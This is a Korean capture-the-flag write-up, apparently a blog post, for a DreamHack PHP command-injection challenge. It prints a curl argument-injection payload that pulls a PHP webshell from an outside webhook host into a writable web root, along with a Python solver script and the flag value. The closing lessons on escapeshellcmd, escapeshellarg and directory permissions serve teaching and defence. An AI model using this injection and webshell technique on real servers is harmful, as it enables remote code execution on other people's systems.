2026-06-04·1분 읽기·
escapeshellcmd는 셸 메타문자는 막지만 공백과 하이픈은 그대로 둔다. curl 명령에 -o 인자를 끼워 넣어 PHP 웹셸을 웹루트 cache/에 떨군 뒤, 그 웹셸로 실행전용 바이너리 /flag를 돌려 플래그를 얻은 과정을 정리했다.
이 글이 도움이 됐나요?
문제: DreamHack — Command Injection Advanced 분류: Web 난이도: 🥉 Bronze 2 FLAG:
DH{8ca5256a49452e4db9de7691a9c69b7678271383}
| 항목 | 내용 |
|---|---|
| 문제명 | Command Injection Advanced |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (PHP + Apache) |
| 제공 파일 / 서버 | index.php, flag.c, Dockerfile / http://<instance-host>:<port>/ (인스턴스마다 변경) |
| 핵심 취약점 / 기법 | escapeshellcmd 공백 미차단 → curl 인자 주입 → 웹셸 RCE |
입력한 URL을 서버가 curl로 가져와 보여주는 "Online Curl Request" 서비스다. 입력은 escapeshellcmd로 한 번 걸러진다. 세미콜론이나 파이프로 새 명령을 붙이는 평범한 커맨드 인젝션은 막힌다. 그래서 Advanced다.

index.php의 핵심은 이 몇 줄이다.
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !'); // url 은 "http" 로 시작해야 함
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result); // 결과를 cache 에 저장
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
}
}escapeshellcmd는 셸 메타문자(;, |, &, $, 백틱, (), <> 등)를 백슬래시로 막는다. 그래서 curl http://x; cat /flag 같은 명령 분리는 통하지 않는다.
그런데 이 함수가 건드리지 않는 문자가 있다. 공백, 하이픈(-), 슬래시(/), 점(.)이다. 새 명령을 못 붙여도, 공백으로 단어를 나누면 curl에 인자를 더 넘길 수 있다. curl <url> -o <path> 처럼.
flag.c를 보면 플래그를 그냥 읽을 수는 없다.
void main(){ puts("DH{**flag**}\n"); }Dockerfile에서 이걸 컴파일해 /flag 바이너리로 만들고 chmod 111을 준다. 실행 권한만 있고 읽기 권한이 없다. 그러니 파일을 cat 하는 게 아니라 실행해야 플래그가 나온다. 단순 파일 읽기로는 안 되고 명령 실행(RCE)이 필요하다.
curl 자체는 프로그램을 실행하지 못한다. 대신 cache/ 디렉터리가 chmod 777에 웹루트 아래라는 점을 쓴다. curl의 -o로 PHP 웹셸을 거기에 .php로 떨구면, 그 웹셸이 PHP로 실행되면서 /flag를 돌려준다.
curl이 외부 URL을 가져와 결과를 그대로 반사·캐시한다는 것부터 확인된다.


먼저 외부에 PHP 웹셸을 응답하는 endpoint를 하나 둔다. webhook.site의 기본 응답을 <?php system($_GET['cmd']); ?>로 설정해 두면, 그 URL을 GET할 때마다 이 코드가 그대로 내려온다.
이제 url 파라미터에 webhook 주소를 넣고, 공백으로 -o와 저장 경로를 이어 붙인다.
?url=https://webhook.site/<uuid> -o /var/www/html/cache/s.phpescapeshellcmd를 거쳐도 공백·-·/·.는 살아남으므로, 서버에서 실제 실행되는 명령은 이렇게 된다.
curl https://webhook.site/<uuid> -o /var/www/html/cache/s.phpcurl이 webhook의 응답(우리 PHP 웹셸)을 받아 cache/s.php에 그대로 쓴다. .php 확장자라 Apache가 PHP로 실행해준다. RCE가 생긴 것이다.
GET /cache/s.php?cmd=id → uid=33(www-data) gid=33(www-data) ...
남은 건 /flag를 실행하는 것뿐이다. 읽기는 막혀 있어도 실행은 되니, cmd=/flag로 바이너리를 돌리면 출력이 그대로 응답에 담긴다.

웹셸 드롭 → RCE 확인 → /flag 실행을 한 번에 묶은 솔버다.
#!/usr/bin/env python3
import re, requests
BASE = "http://host3.dreamhack.games:15173"
SHELL_SRC = "https://webhook.site/<uuid>" # 기본 응답: <?php system($_GET['cmd']); ?>
SHELL_PATH = "/var/www/html/cache/s.php"
# 1) curl 인자 주입 — url 뒤에 공백+`-o <경로>` 로 웹셸을 cache/s.php 에 저장
inject = f"{SHELL_SRC} -o {SHELL_PATH}"
requests.get(f"{BASE}/", params={"url": inject}, timeout=20)
# 2) 떨군 웹셸로 RCE 확인
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "id"}, timeout=20)
[*] 웹셸 드롭 요청 -> HTTP 200
[*] RCE 확인 (id): uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] /flag 출력: 'DH{8ca5256a49452e4db9de7691a9c69b7678271383}'
[+] FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}
DH{8ca5256a49452e4db9de7691a9c69b7678271383}escapeshellcmd는 명령 분리만 막는다.
이름 때문에 "셸을 안전하게 만들어주는 함수"로 오해하기 쉽다. 실제로는 메타문자를 이스케이프해 새 명령을 못 붙이게 할 뿐, 공백으로 인자를 추가하는 것은 그대로 허용한다. 인자 하나로 동작이 완전히 달라지는 curl·tar·ffmpeg 같은 도구 앞에서는 이 방어가 거의 의미가 없다. 인자가 고정돼야 한다면 escapeshellarg로 값을 통째로 감싸거나, 애초에 셸을 거치지 않는 API를 써야 한다.
쓰기 가능한 웹루트 디렉터리는 RCE로 가는 다리다.
cache/가 chmod 777에 웹루트 아래 있었기 때문에, 파일 하나 떨구는 것만으로 PHP 실행까지 이어졌다. 업로드·캐시 디렉터리는 웹루트 밖에 두거나 스크립트 실행을 막아야 한다.
못 읽으면 실행하면 된다.
/flag는 읽기 권한을 막아 cat을 무력화했지만 실행 권한은 남겨뒀다. 권한을 조일 때는 "읽기를 막았으니 안전하다"가 아니라, 그 파일로 할 수 있는 모든 동작을 함께 봐야 한다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…